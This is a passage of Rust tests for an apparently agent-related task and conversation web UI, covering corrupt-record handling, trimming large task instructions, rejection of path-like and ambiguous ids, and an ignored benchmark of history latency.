27113    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
27114        let home = tempfile::tempdir().unwrap();
27115        let ui = delta_test_ui(home.path());
27116        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27117        let mut run = RunState::new(
27118            PathBuf::from("/repo"),
27119            "main".into(),
27120            "01234567".into(),
27121            "Useful run".into(),
27122            Config::default(),
27123        );
27124        run.save_under(home.path()).unwrap();
27125        let mut task = Task::new(
27126            "Related".into(),
27127            "body".into(),
27128            PathBuf::from("/repo"),
27129            Source::Agent {
27130                run: talk_id.clone(),
27131                node: "chat".into(),
27132            },
27133        );
27134        task.runs = vec![run.id.clone()];
27135        ui.queue.put(&mut task).unwrap();
27136        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
27137        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
27138        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
27139        assert!(
27140            run_detail(State(ui.clone()), Path(run.id.clone()))
27141                .await
27142                .is_ok()
27143        );
27144        assert!(
27145            talk_sections(State(ui.clone()), Path(talk_id.clone()))
27146                .await
27147                .is_ok()
27148        );
27149        // Previously indexed corruption must not masquerade as no relationship.
27150        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27151        assert!(ui.find_task_for_run(&run.id).is_err());
27152        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
27153        ui.queue.put(&mut task).unwrap();
27154        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
27155    }
27156
27157    #[tokio::test]
27158    async fn conversation_sections_omit_large_task_instructions() {
27159        let home = tempfile::tempdir().unwrap();
27160        let ui = delta_test_ui(home.path());
27161        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27162        let mut task = Task::new(
27163            "filed task".into(),
27164            "large instruction ".repeat(65536),
27165            PathBuf::from("/repo"),
27166            Source::Agent {
27167                run: id.clone(),
27168                node: "chat".into(),
27169            },
27170        );
27171        ui.queue.put(&mut task).unwrap();
27172        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
27173        assert_eq!(sections["tasks"][0]["id"], task.id);
27174        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
27175        assert!(sections["tasks"][0].get("instruction").is_none());
27176        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
27177    }
27178
27179    #[test]
27180    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
27181        let home = tempfile::tempdir().unwrap();
27182        let talks = Talks::at(home.path().join("talks"));
27183        seed_talk_at(&talks, "20261019-000001-abcd", "open");
27184        seed_talk_at(&talks, "20261019-000002-abcd", "open");
27185        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
27186        assert!(resolve_talk(&talks, "../outside").is_err());
27187        assert!(resolve_talk(&talks, "abcd").is_err());
27188        assert_eq!(
27189            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
27190            "20261019-000001-abcd"
27191        );
27192    }
27193
27194    include!(concat!(
27195        env!("CARGO_MANIFEST_DIR"),
27196        "/tests/web_latency/baseline.rs"
27197    ));
27198
27199    include!(concat!(
27200        env!("CARGO_MANIFEST_DIR"),
27201        "/tests/web_latency/lists.rs"
27202    ));
27203
27204    #[tokio::test]
27205    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
27206    async fn web_history_latency_measurement() {
27207        use std::time::Instant;
27208        let home = tempfile::tempdir().unwrap();
27209        let ui = delta_test_ui(home.path());
27210        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27211        let mut template = ui.talks.get(&id).unwrap();
27212        template.turns = serde_json::from_value(serde_json::json!([{
27213            "who": "operator", "body": "Show the accumulated work and its current status.",
27214            "at": Timestamp::now().to_string(),
27215        }]))
27216        .unwrap();
27217        std::fs::write(
27218            ui.talks.path_of(&id),
27219            serde_json::to_vec(&template).unwrap(),
27220        )
27221        .unwrap();
27222        let count = std::env::var("MAGI_BENCH_RECORDS")
27223            .ok()
27224            .and_then(|s| s.parse::<usize>().ok())
27225            .unwrap_or(1000);
27226        for i in 0..count {
27227            template.id = format!("20261019-{i:06}-history");
27228            template.pending = "history ".repeat(2048);
27229            std::fs::write(
27230                ui.talks.path_of(&template.id),
27231                serde_json::to_vec(&template).unwrap(),
27232            )
27233            .unwrap();
27234            let mut task = Task::new(
27235                "old task".into(),
27236                "instruction ".repeat(2048),
27237                PathBuf::from("/repo"),
27238                Source::Human,
27239            );
27240            task.id = format!("20261019-{i:06}-task");
27241            ui.queue.put(&mut task).unwrap();
27242        }
27243        for baseline in [true, false] {
27244            for clients in [1, 4] {
27245                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
27246                let mut samples = Vec::new();
27247                for _ in 0..12 {
27248                    let mut jobs = Vec::new();
27249                    for _ in 0..clients {
27250                        let ui = ui.clone();
27251                        let id = id.clone();
27252                        jobs.push(tokio::spawn(async move {
27253                            let start = Instant::now();
27254                            if baseline {
27255                                let response =
27256                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
27257                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
27258                                return (
27259                                    elapsed,
27260                                    elapsed,
27261                                    serde_json::to_vec(&response).unwrap().len(),
27262                                );
27263                            }
27264                            let core = talk_core(State(ui.clone()), Path(id.clone()));
27265                            let secondary = talk_sections(State(ui), Path(id));
27266                            let (first, total) = tokio::join!(
27267                                async {
27268                                    let value = core.await.unwrap().0;
27269                                    (
27270                                        start.elapsed().as_secs_f64() * 1000.0,
27271                                        serde_json::to_vec(&value).unwrap().len(),
27272                                    )
27273                                },
27274                                async {
27275                                    let value = secondary.await.unwrap().0;
27276                                    (
27277                                        start.elapsed().as_secs_f64() * 1000.0,
27278                                        serde_json::to_vec(&value).unwrap().len(),
27279                                    )
27280                                }
27281                            );
27282                            (first.0, first.0.max(total.0), first.1 + total.1)
27283                        }));
27284                    }
27285                    for job in jobs {
27286                        samples.push(job.await.unwrap());
27287                    }
27288                }
27289                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
27290                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
27291                first.sort_by(f64::total_cmp);
27292                total.sort_by(f64::total_cmp);
27293                let n = first.len();
27294                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
27295                println!(
27296                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
27297                    first[n / 2],
27298                    first[(n * 95 / 100).min(n - 1)],
27299                    total[n / 2],
27300                    total[(n * 95 / 100).min(n - 1)],
27301                    samples[0].2
27302                );
27303            }
27304        }
27305    }
27306
27307    #[test]
27308    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
27309        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
27310        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
27311        assert!(APP_JS.contains("function nextRunRequest(id)"));
27312        assert!(APP_JS.contains("function runShell(id, summary)"));
27313        assert!(APP_JS.contains("function nextTaskRequest(id)"));
27314        assert!(APP_JS.contains("function taskShell(id, summary)"));
27315        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
27316    }
27317}